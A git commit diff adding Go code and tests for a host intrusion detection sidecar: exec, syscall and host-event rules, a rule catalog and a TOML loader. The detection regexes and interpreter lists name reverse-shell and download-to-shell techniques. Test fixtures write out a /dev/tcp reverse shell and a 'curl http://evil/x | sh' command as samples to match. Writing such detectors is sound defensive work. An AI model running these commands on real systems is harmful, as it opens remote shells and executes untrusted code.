feat(go): advance validation sidecar toward production

This commit is contained in:
Luna 2026-07-22 01:52:19 -07:00
parent 6a06eba255
commit f85c2e831a
No known key found for this signature in database
92 changed files with 8881 additions and 91 deletions

View file

@ -0,0 +1,141 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"sort"
"strings"
)
// RuleCatalog returns the stable operator-facing metadata currently exposed by
// Python ruleops.list_rules. Conditions remain data, so auditors can inspect
// what the binary will match without reading Go source or loading eBPF.
func RuleCatalog(execRules ExecRuleEngine) []map[string]any {
builtinExec := map[int]bool{100001: true, 100002: true, 100003: true, 100004: true}
records := make([]map[string]any, 0,
len(execRules.Rules)+len(DefaultSyscallRuleEngine().Rules)+len(DefaultHostRuleEngine().Rules))
for _, rule := range execRules.Rules {
origin := "configured"
if builtinExec[rule.SID] {
origin = "builtin"
}
conditions := map[string]any{}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.ExecComms) > 0 {
conditions["exec_comm"] = sortedStringKeys(rule.ExecComms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.ArgvRegex != "" {
conditions["argv_regex"] = rule.ArgvRegex
}
if len(rule.ParentExclude) > 0 {
conditions["parent_exclude"] = sortedStringKeys(rule.ParentExclude)
}
records = append(records, map[string]any{
"sid": rule.SID, "event": "exec", "origin": origin,
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "exec_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
for _, rule := range DefaultSyscallRuleEngine().Rules {
records = append(records, map[string]any{
"sid": rule.SID, "event": "syscall", "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "syscall_rule." + rule.Classtype,
"msg": rule.Message,
"conditions": map[string]any{
"syscalls": sortedStringKeys(rule.Syscalls),
"predicate": "built-in predicate",
},
})
}
for _, rule := range DefaultHostRuleEngine().Rules {
conditions := map[string]any{"events": sortedStringKeys(rule.Events)}
if len(rule.Comms) > 0 {
conditions["comm"] = sortedStringKeys(rule.Comms)
}
if len(rule.ParentComms) > 0 {
conditions["parent_comm"] = sortedStringKeys(rule.ParentComms)
}
if rule.PeerPublic != nil {
conditions["peer_public"] = *rule.PeerPublic
}
if len(rule.PeerPorts) > 0 {
conditions["peer_ports"] = sortedIntKeys(rule.PeerPorts)
}
if len(rule.PeerPortExclude) > 0 {
conditions["peer_port_exclude"] = sortedIntKeys(rule.PeerPortExclude)
}
if len(rule.LocalPorts) > 0 {
conditions["local_ports"] = sortedIntKeys(rule.LocalPorts)
}
if len(rule.LocalPortExclude) > 0 {
conditions["local_port_exclude"] = sortedIntKeys(rule.LocalPortExclude)
}
if len(rule.PathPrefixes) > 0 {
conditions["path_prefixes"] = append([]string(nil), rule.PathPrefixes...)
}
if len(rule.TargetUIDs) > 0 {
conditions["target_uids"] = sortedIntKeys(rule.TargetUIDs)
}
if len(rule.TargetGIDs) > 0 {
conditions["target_gids"] = sortedIntKeys(rule.TargetGIDs)
}
if len(rule.CapabilitiesAny) > 0 {
conditions["capabilities_any"] = sortedStringKeys(rule.CapabilitiesAny)
}
if len(rule.ModuleNames) > 0 {
conditions["module_names"] = sortedStringKeys(rule.ModuleNames)
}
if rule.ArgvRegex != "" {
conditions["argv_regex"] = rule.ArgvRegex
}
eventTypes := sortedStringKeys(rule.Events)
records = append(records, map[string]any{
"sid": rule.SID, "event": strings.Join(eventTypes, ","), "origin": "builtin",
"severity": rule.Severity, "classtype": rule.Classtype,
"signature": "host_rule." + rule.Classtype,
"msg": rule.Message, "conditions": conditions,
})
}
sort.SliceStable(records, func(i, j int) bool {
leftSID, rightSID := records[i]["sid"].(int), records[j]["sid"].(int)
if leftSID != rightSID {
return leftSID < rightSID
}
return records[i]["event"].(string) < records[j]["event"].(string)
})
return records
}
func FindRule(records []map[string]any, sid int) map[string]any {
for _, record := range records {
if record["sid"].(int) == sid {
return record
}
}
return nil
}
func sortedStringKeys(values map[string]bool) []string {
result := make([]string, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Strings(result)
return result
}
func sortedIntKeys(values map[int]bool) []int {
result := make([]int, 0, len(values))
for value := range values {
result = append(result, value)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,33 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"reflect"
"testing"
)
func TestRuleCatalogCoversEveryPortedRule(t *testing.T) {
records := RuleCatalog(DefaultExecRuleEngine())
if len(records) != 21 {
t.Fatalf("got %d rules, want 21", len(records))
}
sids := make([]int, 0, len(records))
for _, record := range records {
sids = append(sids, record["sid"].(int))
}
want := []int{
100001, 100002, 100003, 100004,
100060, 100061, 100062, 100063, 100064, 100065, 100066,
100067, 100068, 100069, 100070, 100071, 100072, 100073,
100076, 100077, 100078,
}
if !reflect.DeepEqual(sids, want) {
t.Fatalf("unexpected catalog SIDs: %#v", sids)
}
capability := FindRule(records, 100077)
conditions := capability["conditions"].(map[string]any)
if _, ok := conditions["capabilities_any"]; !ok {
t.Fatalf("capability conditions missing: %#v", capability)
}
}

View file

@ -0,0 +1,53 @@
// SPDX-License-Identifier: GPL-3.0-or-later
// Package events implements the event-driven rule layer independently from
// its eventual kernel source. Keeping event records and matching pure makes
// Python/Go parity testable before cilium/ebpf enters the build.
package events
import (
"encoding/json"
"strings"
)
// ExecEvent is one execve observed at execution time. Argv excludes filename,
// matching the Python event model and the current BCC source contract.
type ExecEvent struct {
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
ParentComm string `json:"parent_comm"`
Filename string `json:"filename"`
Argv []string `json:"argv"`
}
// ExecComm intentionally mirrors posixpath.basename rather than filepath.Base:
// Python returns an empty basename for a path ending in '/', while filepath
// cleans the trailing separator and would return the previous component.
func (e ExecEvent) ExecComm() string {
if index := strings.LastIndex(e.Filename, "/"); index >= 0 {
return e.Filename[index+1:]
}
return e.Filename
}
func (e ExecEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Filename)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
func (e *ExecEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.ParentComm = stringValue(values["parent_comm"])
e.Filename = stringValue(values["filename"])
e.Argv = stringSlice(values["argv"])
return nil
}

View file

@ -0,0 +1,15 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import "testing"
func TestExecEventDerivedFieldsMatchPython(t *testing.T) {
event := ExecEvent{Filename: "/tmp/x", Argv: []string{"-c", "echo hi"}}
if event.ExecComm() != "x" || event.ArgvString() != "/tmp/x -c echo hi" {
t.Fatalf("unexpected derived fields: %q %q", event.ExecComm(), event.ArgvString())
}
if got := (ExecEvent{Filename: "/tmp/x/"}).ExecComm(); got != "" {
t.Fatalf("trailing-slash basename drifted from Python: %q", got)
}
}

View file

@ -0,0 +1,414 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/csv"
"fmt"
"os"
"regexp"
"sort"
"strconv"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// ExecRule is the Go representation of Python's declarative exec rule. Every
// specified positive condition is ANDed; values inside a condition are ORed.
type ExecRule struct {
SID int
Message string
Severity string
Classtype string
PathPrefixes []string
ExecComms map[string]bool
ParentComms map[string]bool
ArgvRegex string
ParentExclude map[string]bool
compiled *regexp.Regexp
}
func NewExecRule(rule ExecRule) (ExecRule, error) {
if len(rule.PathPrefixes) == 0 && len(rule.ExecComms) == 0 &&
len(rule.ParentComms) == 0 && rule.ArgvRegex == "" {
return ExecRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.Severity == "" {
rule.Severity = "HIGH"
}
if rule.Classtype == "" {
rule.Classtype = "uncategorized"
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return ExecRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r ExecRule) Matches(event ExecEvent) bool {
if r.ParentExclude[event.ParentComm] {
return false
}
if len(r.PathPrefixes) > 0 && !hasPrefix(event.Filename, r.PathPrefixes) {
return false
}
if len(r.ExecComms) > 0 && !r.ExecComms[event.ExecComm()] {
return false
}
if len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.compiled != nil && !r.compiled.MatchString(event.ArgvString()) {
return false
}
return true
}
func (r ExecRule) Alert(event ExecEvent) model.Alert {
argv := truncateRunes(event.ArgvString(), 120)
return model.Alert{
SID: r.SID,
Severity: r.Severity,
Signature: "exec_rule." + r.Classtype,
Classtype: r.Classtype,
Key: fmt.Sprintf("exec:%d:%d", r.SID, event.PID),
Detail: fmt.Sprintf(
"sid=%d %s — pid=%d ppid=%d parent=%s exec=%s argv=[%s]",
r.SID, r.Message, event.PID, event.PPID, event.ParentComm,
event.Filename, argv),
PIDs: []int{event.PID},
}
}
type ExecRuleEngine struct {
Rules []ExecRule
}
func DefaultExecRuleEngine() ExecRuleEngine {
// Constructors below use only compile-time-valid rules. Panic is preferable
// to silently dropping a shipped detection if a future edit breaks one.
rules := make([]ExecRule, 0, len(defaultExecRuleSpecs))
for _, specification := range defaultExecRuleSpecs {
rule, err := NewExecRule(specification)
if err != nil {
panic(err)
}
rules = append(rules, rule)
}
return ExecRuleEngine{Rules: rules}
}
func LoadExecRuleEngine(path string) (ExecRuleEngine, error) {
engine := DefaultExecRuleEngine()
if path == "" {
return engine, nil
}
if _, err := os.Stat(path); os.IsNotExist(err) {
return engine, nil
} else if err != nil {
return ExecRuleEngine{}, err
}
rules, err := loadTOMLExecRules(path)
if err != nil {
return ExecRuleEngine{}, err
}
engine.Rules = append(engine.Rules, rules...)
return engine, nil
}
func (e ExecRuleEngine) Match(event ExecEvent) []model.Alert {
alerts := make([]model.Alert, 0)
for _, rule := range e.Rules {
if rule.Matches(event) {
alerts = append(alerts, rule.Alert(event))
}
}
return alerts
}
var interpreters = stringSet(strings.Fields(
"sh bash dash zsh ksh ash python python2 python3 perl ruby php lua " +
"nc ncat netcat socat"))
var webDBServers = stringSet(strings.Fields(
"nginx apache apache2 httpd php-fpm php php7 php8 lighttpd caddy " +
"node nodejs tomcat catalina mysqld mariadbd postgres redis-server"))
var defaultExecRuleSpecs = []ExecRule{
{
SID: 100001, Message: "Program executed from a world-writable directory",
Severity: "CRITICAL", Classtype: "fileless-execution",
PathPrefixes: []string{"/tmp/", "/dev/shm/", "/var/tmp/"},
},
{
SID: 100002, Message: "Reverse-shell command pattern in execve arguments",
Severity: "CRITICAL", Classtype: "c2-reverse-shell",
ArgvRegex: `/dev/(tcp|udp)/|\b(ba|da|z)?sh\b[^|]*\s-i\b|\bn(c|cat|etcat)\b.*\s-e\b|\bsocat\b.*\bexec|python[0-9.]*\b.*(pty\.spawn|socket\.socket)|perl\b.*\bSocket\b`,
},
{
SID: 100003,
Message: "Web/DB service spawned a shell or interpreter (possible RCE/webshell)",
Severity: "CRITICAL", Classtype: "web-rce",
ExecComms: interpreters, ParentComms: webDBServers,
},
{
SID: 100004, Message: "Download piped directly to a shell (ingress tool transfer)",
Severity: "HIGH", Classtype: "ingress-tool-transfer",
ArgvRegex: `\b(curl|wget|fetch)\b.*\|\s*(ba|da|z)?sh\b`,
},
}
type rawExecRule struct {
values map[string]string
}
// loadTOMLExecRules implements the intentionally narrow [[exec_rules]] subset
// consumed by Python. The sidecar stays stdlib-only; multiline string arrays,
// quoted strings, comments, and arbitrary table ordering are supported.
func loadTOMLExecRules(path string) ([]ExecRule, error) {
raw, err := os.ReadFile(path)
if err != nil {
return nil, err
}
tables, err := parseExecRuleTables(string(raw))
if err != nil {
return nil, err
}
rules := make([]ExecRule, 0, len(tables))
for _, table := range tables {
sidText, ok := table.values["sid"]
if !ok {
return nil, fmt.Errorf("exec_rules entry missing sid")
}
sid, err := strconv.Atoi(strings.TrimSpace(sidText))
if err != nil {
return nil, fmt.Errorf("exec_rules sid: %w", err)
}
message, err := optionalString(table.values, "msg", "")
if err != nil {
return nil, err
}
severity, err := optionalString(table.values, "severity", "HIGH")
if err != nil {
return nil, err
}
severity = strings.ToUpper(severity)
if severity != "MEDIUM" && severity != "HIGH" && severity != "CRITICAL" {
severity = "HIGH"
}
classtype, err := optionalString(table.values, "classtype", "uncategorized")
if err != nil {
return nil, err
}
argvRegex, err := optionalString(table.values, "argv_regex", "")
if err != nil {
return nil, err
}
pathPrefixes, err := optionalStringArray(table.values, "path_prefixes")
if err != nil {
return nil, err
}
execComms, err := optionalStringArray(table.values, "exec_comm")
if err != nil {
return nil, err
}
parentComms, err := optionalStringArray(table.values, "parent_comm")
if err != nil {
return nil, err
}
parentExclude, err := optionalStringArray(table.values, "parent_exclude")
if err != nil {
return nil, err
}
rule, err := NewExecRule(ExecRule{
SID: sid, Message: message, Severity: severity, Classtype: classtype,
PathPrefixes: pathPrefixes, ExecComms: stringSet(execComms),
ParentComms: stringSet(parentComms), ArgvRegex: argvRegex,
ParentExclude: stringSet(parentExclude),
})
if err != nil {
return nil, err
}
rules = append(rules, rule)
}
return rules, nil
}
func parseExecRuleTables(text string) ([]rawExecRule, error) {
tables := make([]rawExecRule, 0)
var current *rawExecRule
var assignment strings.Builder
depth := 0
flush := func() error {
if assignment.Len() == 0 || current == nil {
assignment.Reset()
return nil
}
key, value, ok := strings.Cut(assignment.String(), "=")
if !ok {
return fmt.Errorf("invalid exec rule assignment: %q", assignment.String())
}
current.values[strings.TrimSpace(key)] = strings.TrimSpace(value)
assignment.Reset()
return nil
}
for _, rawLine := range strings.Split(text, "\n") {
line := strings.TrimSpace(stripTOMLComment(rawLine))
if line == "" {
continue
}
if line == "[[exec_rules]]" {
if err := flush(); err != nil {
return nil, err
}
tables = append(tables, rawExecRule{values: map[string]string{}})
current = &tables[len(tables)-1]
depth = 0
continue
}
if current == nil {
continue
}
if assignment.Len() > 0 {
assignment.WriteByte(' ')
}
assignment.WriteString(line)
depth += strings.Count(line, "[") - strings.Count(line, "]")
if depth <= 0 {
if err := flush(); err != nil {
return nil, err
}
depth = 0
}
}
if err := flush(); err != nil {
return nil, err
}
return tables, nil
}
func optionalString(values map[string]string, key, fallback string) (string, error) {
raw, ok := values[key]
if !ok {
return fallback, nil
}
value, err := tomlString(raw)
if err != nil {
return "", fmt.Errorf("exec_rules %s: %w", key, err)
}
return value, nil
}
func optionalStringArray(values map[string]string, key string) ([]string, error) {
raw, ok := values[key]
if !ok {
return []string{}, nil
}
raw = strings.TrimSpace(raw)
if len(raw) < 2 || raw[0] != '[' || raw[len(raw)-1] != ']' {
return nil, fmt.Errorf("exec_rules %s: expected string array", key)
}
body := strings.TrimSpace(raw[1 : len(raw)-1])
if body == "" {
return []string{}, nil
}
body = strings.TrimSpace(strings.TrimSuffix(strings.TrimSpace(body), ","))
reader := csv.NewReader(strings.NewReader(body))
reader.TrimLeadingSpace = true
fields, err := reader.Read()
if err != nil {
return nil, fmt.Errorf("exec_rules %s: %w", key, err)
}
result := make([]string, 0, len(fields))
for _, field := range fields {
field = strings.TrimSpace(field)
if field == "" {
continue
}
// encoding/csv already removes TOML's ordinary double quotes. Literal
// single-quoted strings are not CSV syntax, so unwrap those explicitly.
if len(field) >= 2 && field[0] == '\'' && field[len(field)-1] == '\'' {
field = field[1 : len(field)-1]
}
result = append(result, field)
}
return result, nil
}
func tomlString(raw string) (string, error) {
raw = strings.TrimSpace(raw)
if len(raw) >= 2 && raw[0] == '\'' && raw[len(raw)-1] == '\'' {
return raw[1 : len(raw)-1], nil
}
value, err := strconv.Unquote(raw)
if err != nil {
return "", fmt.Errorf("expected string, got %q", raw)
}
return value, nil
}
func stripTOMLComment(line string) string {
inBasic, inLiteral, escaped := false, false, false
for index, char := range line {
if escaped {
escaped = false
continue
}
if char == '\\' && inBasic {
escaped = true
continue
}
if char == '"' && !inLiteral {
inBasic = !inBasic
continue
}
if char == '\'' && !inBasic {
inLiteral = !inLiteral
continue
}
if char == '#' && !inBasic && !inLiteral {
return line[:index]
}
}
return line
}
func hasPrefix(value string, prefixes []string) bool {
for _, prefix := range prefixes {
if strings.HasPrefix(value, prefix) {
return true
}
}
return false
}
func stringSet(values []string) map[string]bool {
result := make(map[string]bool, len(values))
for _, value := range values {
result[value] = true
}
return result
}
func truncateRunes(value string, limit int) string {
runes := []rune(value)
if len(runes) <= limit {
return value
}
return string(runes[:limit])
}
// RuleSIDs is kept sorted for operator catalogs and coverage assertions.
func (e ExecRuleEngine) RuleSIDs() []int {
result := make([]int, 0, len(e.Rules))
for _, rule := range e.Rules {
result = append(result, rule.SID)
}
sort.Ints(result)
return result
}

View file

@ -0,0 +1,109 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"os"
"path/filepath"
"reflect"
"testing"
)
func execEvent(filename string, argv []string, parent string) ExecEvent {
return ExecEvent{
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
Filename: filename, Argv: argv,
}
}
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
engine := DefaultExecRuleEngine()
tests := []struct {
event ExecEvent
sid int
}{
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
}
for _, test := range tests {
found := false
for _, alert := range engine.Match(test.event) {
if alert.SID == test.sid {
found = true
}
}
if !found {
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
}
}
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
t.Fatalf("benign command matched: %#v", alerts)
}
}
func TestExecAlertContract(t *testing.T) {
event := execEvent("/tmp/x", nil, "bash")
alert := DefaultExecRuleEngine().Match(event)[0]
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
alert.Signature != "exec_rule.fileless-execution" ||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
t.Fatalf("unexpected alert: %#v", alert)
}
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
if alert.Detail != want {
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
}
}
func TestExecRuleValidationAndParentExclude(t *testing.T) {
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
t.Fatal("conditionless rule was accepted")
}
rule, err := NewExecRule(ExecRule{
SID: 1, Severity: "HIGH", Classtype: "test",
ExecComms: map[string]bool{"bash": true},
ParentExclude: map[string]bool{"sshd": true},
})
if err != nil {
t.Fatal(err)
}
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
t.Fatal("parent exclusion semantics drifted")
}
}
func TestLoadConfiguredExecRules(t *testing.T) {
path := filepath.Join(t.TempDir(), "rules.toml")
raw := []byte(`
[[exec_rules]]
sid = 190001
msg = "Custom interpreter rule"
severity = "critical"
classtype = "custom-exec"
exec_comm = [
"bash",
"zsh",
]
parent_comm = ["cron"]
parent_exclude = ["sshd"]
argv_regex = 'danger\s+now'
`)
if err := os.WriteFile(path, raw, 0o600); err != nil {
t.Fatal(err)
}
engine, err := LoadExecRuleEngine(path)
if err != nil {
t.Fatal(err)
}
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
t.Fatalf("unexpected rule catalog: %#v", got)
}
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
t.Fatalf("configured rule mismatch: %#v", alerts)
}
}

View file

@ -0,0 +1,139 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"encoding/json"
"fmt"
"strconv"
"strings"
)
// HostEvent is the common typed record for network, filesystem, identity,
// capability, and module activity that is neither exec nor raw syscall data.
type HostEvent struct {
Event string `json:"event"`
PID int `json:"pid"`
PPID int `json:"ppid"`
UID int `json:"uid"`
Comm string `json:"comm"`
ParentComm string `json:"parent_comm"`
Path string `json:"path"`
Argv []string `json:"argv"`
PeerIP string `json:"peer_ip"`
PeerPort int `json:"peer_port"`
LocalIP string `json:"local_ip"`
LocalPort int `json:"local_port"`
TargetUID int `json:"target_uid"`
TargetGID int `json:"target_gid"`
Mode int `json:"mode"`
Capabilities []string `json:"capabilities"`
ModuleName string `json:"module_name"`
}
func (e HostEvent) ArgvString() string {
parts := make([]string, 0, len(e.Argv)+1)
parts = append(parts, e.Path)
parts = append(parts, e.Argv...)
return strings.TrimSpace(strings.Join(parts, " "))
}
// UnmarshalJSON accepts the same compatibility aliases as Python ruleops:
// type/event, remote/bind endpoint names, numeric strings, singular capability,
// and module name. Defaults of -1 for absent target IDs are semantically
// significant because zero means a requested root transition.
func (e *HostEvent) UnmarshalJSON(raw []byte) error {
var values map[string]any
if err := json.Unmarshal(raw, &values); err != nil {
return err
}
e.TargetUID, e.TargetGID = -1, -1
e.Event = stringValue(firstValue(values, "event", "type"))
e.PID = integerValue(values["pid"], 0)
e.PPID = integerValue(values["ppid"], 0)
e.UID = integerValue(values["uid"], 0)
e.Comm = stringValue(values["comm"])
e.ParentComm = stringValue(values["parent_comm"])
e.Path = stringValue(values["path"])
e.Argv = stringSlice(values["argv"])
e.PeerIP = stringValue(firstValue(values, "peer_ip", "remote_ip"))
e.PeerPort = integerValue(firstValue(values, "peer_port", "remote_port"), 0)
e.LocalIP = stringValue(firstValue(values, "local_ip", "bind_ip", "listen_ip"))
e.LocalPort = integerValue(firstValue(values, "local_port", "bind_port", "listen_port"), 0)
e.TargetUID = integerValue(firstValue(values, "target_uid", "uid_target"), -1)
e.TargetGID = integerValue(firstValue(values, "target_gid", "gid_target"), -1)
e.Mode = integerValue(values["mode"], 0)
e.Capabilities = stringSlice(firstValue(values, "capabilities", "caps", "cap_effective"))
if len(e.Capabilities) == 0 {
if capability := stringValue(values["capability"]); capability != "" {
e.Capabilities = []string{capability}
}
}
for index := range e.Capabilities {
e.Capabilities[index] = strings.ToUpper(e.Capabilities[index])
}
e.ModuleName = stringValue(firstValue(values, "module_name", "name"))
return nil
}
func firstValue(values map[string]any, keys ...string) any {
for _, key := range keys {
if value, ok := values[key]; ok && value != nil && stringValue(value) != "" {
return value
}
}
return nil
}
func stringValue(value any) string {
if value == nil {
return ""
}
if text, ok := value.(string); ok {
return text
}
return fmt.Sprint(value)
}
func integerValue(value any, fallback int) int {
if value == nil {
return fallback
}
switch typed := value.(type) {
case float64:
return int(typed)
case int:
return typed
case string:
text := strings.TrimSpace(strings.ToLower(typed))
if strings.HasPrefix(text, "0o") {
parsed, err := strconv.ParseInt(text[2:], 8, 64)
if err == nil {
return int(parsed)
}
}
parsed, err := strconv.ParseInt(text, 0, 64)
if err == nil {
return int(parsed)
}
}
return fallback
}
func stringSlice(value any) []string {
if text, ok := value.(string); ok {
if text == "" {
return []string{}
}
return []string{text}
}
items, ok := value.([]any)
if !ok {
return []string{}
}
result := make([]string, 0, len(items))
for _, item := range items {
result = append(result, stringValue(item))
}
return result
}

View file

@ -0,0 +1,201 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package events
import (
"fmt"
"regexp"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/netutil"
)
type HostRule struct {
SID int
Message string
Severity string
Classtype string
Events map[string]bool
Comms map[string]bool
ParentComms map[string]bool
PeerPublic *bool
PeerPorts map[int]bool
PeerPortExclude map[int]bool
LocalPorts map[int]bool
LocalPortExclude map[int]bool
PathPrefixes []string
TargetUIDs map[int]bool
TargetGIDs map[int]bool
CapabilitiesAny map[string]bool
ModuleNames map[string]bool
ArgvRegex string
compiled *regexp.Regexp
}
func NewHostRule(rule HostRule) (HostRule, error) {
if len(rule.Events) == 0 {
return HostRule{}, fmt.Errorf("rule sid=%d has no event types", rule.SID)
}
if len(rule.Comms) == 0 && len(rule.ParentComms) == 0 && rule.PeerPublic == nil &&
len(rule.PeerPorts) == 0 && len(rule.PeerPortExclude) == 0 &&
len(rule.LocalPorts) == 0 && len(rule.LocalPortExclude) == 0 &&
len(rule.PathPrefixes) == 0 && len(rule.TargetUIDs) == 0 &&
len(rule.TargetGIDs) == 0 && len(rule.CapabilitiesAny) == 0 &&
len(rule.ModuleNames) == 0 && rule.ArgvRegex == "" {
return HostRule{}, fmt.Errorf("rule sid=%d has no match conditions", rule.SID)
}
if rule.ArgvRegex != "" {
compiled, err := regexp.Compile("(?i)" + rule.ArgvRegex)
if err != nil {
return HostRule{}, fmt.Errorf("rule sid=%d argv_regex: %w", rule.SID, err)
}
rule.compiled = compiled
}
return rule, nil
}
func (r HostRule) Matches(event HostEvent) bool {
if !r.Events[event.Event] || len(r.Comms) > 0 && !r.Comms[event.Comm] ||
len(r.ParentComms) > 0 && !r.ParentComms[event.ParentComm] {
return false
}
if r.PeerPublic != nil && netutil.IsPublicIP(event.PeerIP) != *r.PeerPublic {
return false
}
if len(r.PeerPorts) > 0 && !r.PeerPorts[event.PeerPort] ||
r.PeerPortExclude[event.PeerPort] ||
len(r.LocalPorts) > 0 && !r.LocalPorts[event.LocalPort] ||
r.LocalPortExclude[event.LocalPort] {
return false
}
if len(r.PathPrefixes) > 0 && !pathMatches(event.Path, r.PathPrefixes) {
return false
}
if len(r.TargetUIDs) > 0 && !r.TargetUIDs[event.TargetUID] ||
len(r.TargetGIDs) > 0 && !r.TargetGIDs[event.TargetGID] ||
len(r.ModuleNames) > 0 && !r.ModuleNames[event.ModuleName] {
return false
}
if len(r.CapabilitiesAny) > 0 {
matched := false
for _, capability := range event.Capabilities {
if r.CapabilitiesAny[strings.ToUpper(capability)] {
matched = true
break
}
}
if !matched {
return false
}
}
return r.compiled == nil || r.compiled.MatchString(event.ArgvString())
}
func (r HostRule) Alert(event HostEvent) model.Alert {
capabilities := strings.Join(event.Capabilities, ",")
mode := "-"
if event.Mode != 0 {
mode = fmt.Sprintf("0o%o", event.Mode)
}
module := event.ModuleName
if module == "" {
module = "-"
}
displayCaps := capabilities
if displayCaps == "" {
displayCaps = "-"
}
return model.Alert{
SID: r.SID, Severity: r.Severity,
Signature: "host_rule." + r.Classtype, Classtype: r.Classtype,
Key: fmt.Sprintf(
"host:%d:%s:%d:%s:%d:%s:%d:%s:%d:%d:%d:%s:%s",
r.SID, event.Event, event.PID, event.PeerIP, event.PeerPort,
event.LocalIP, event.LocalPort, event.Path, event.TargetUID,
event.TargetGID, event.Mode, capabilities, event.ModuleName),
Detail: fmt.Sprintf(
"sid=%d %s - pid=%d ppid=%d comm=%s event=%s peer=%s:%d local=%s:%d path=%s target_uid=%d target_gid=%d mode=%s capabilities=%s module=%s",
r.SID, r.Message, event.PID, event.PPID, event.Comm, event.Event,
event.PeerIP, event.PeerPort, event.LocalIP, event.LocalPort,
event.Path, event.TargetUID, event.TargetGID, mode, displayCaps, module),
PIDs: []int{event.PID},
}
}
type HostRuleEngine struct{ Rules []HostRule }
func DefaultHostRuleEngine() HostRuleEngine {
public := true
specifications := []HostRule{
{SID: 100067, Message: "Interpreter connected to an unusual public port", Severity: "HIGH", Classtype: "suspicious-egress", Events: stringSet([]string{"tcp_connect"}), Comms: hostInterpreters, PeerPublic: &public, PeerPortExclude: commonPublicPorts},
{SID: 100068, Message: "Interpreter opened a listener on an unusual local port", Severity: "HIGH", Classtype: "suspicious-listener", Events: stringSet([]string{"listen"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100073, Message: "Interpreter bound an unusual local port", Severity: "HIGH", Classtype: "suspicious-bind", Events: stringSet([]string{"bind"}), Comms: hostInterpreters, LocalPortExclude: commonPublicPorts},
{SID: 100069, Message: "Interpreter wrote to a persistence path", Severity: "HIGH", Classtype: "persistence-write", Events: stringSet([]string{"file_write"}), Comms: hostInterpreters, PathPrefixes: persistencePrefixes},
{SID: 100070, Message: "Permissions or ownership changed on a persistence path", Severity: "HIGH", Classtype: "persistence-permission-change", Events: stringSet([]string{"chmod", "chown"}), PathPrefixes: persistencePrefixes},
{SID: 100071, Message: "Interpreter requested a root UID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setuid"}), Comms: hostInterpreters, TargetUIDs: intSet([]int{0})},
{SID: 100072, Message: "Interpreter requested a root GID transition", Severity: "HIGH", Classtype: "privilege-transition", Events: stringSet([]string{"setgid"}), Comms: hostInterpreters, TargetGIDs: intSet([]int{0})},
{SID: 100076, Message: "Interpreter accepted inbound traffic on an unusual local port", Severity: "HIGH", Classtype: "suspicious-accept", Events: stringSet([]string{"accept"}), Comms: hostInterpreters, PeerPublic: &public, LocalPortExclude: commonPublicPorts},
{SID: 100077, Message: "Interpreter requested sensitive Linux capabilities", Severity: "HIGH", Classtype: "capability-escalation", Events: stringSet([]string{"capset"}), Comms: hostInterpreters, CapabilitiesAny: sensitiveCapabilities},
{SID: 100078, Message: "Kernel module load requested from a writable runtime path", Severity: "CRITICAL", Classtype: "suspicious-module-load", Events: stringSet([]string{"module_load"}), PathPrefixes: writableRuntimePrefixes},
}
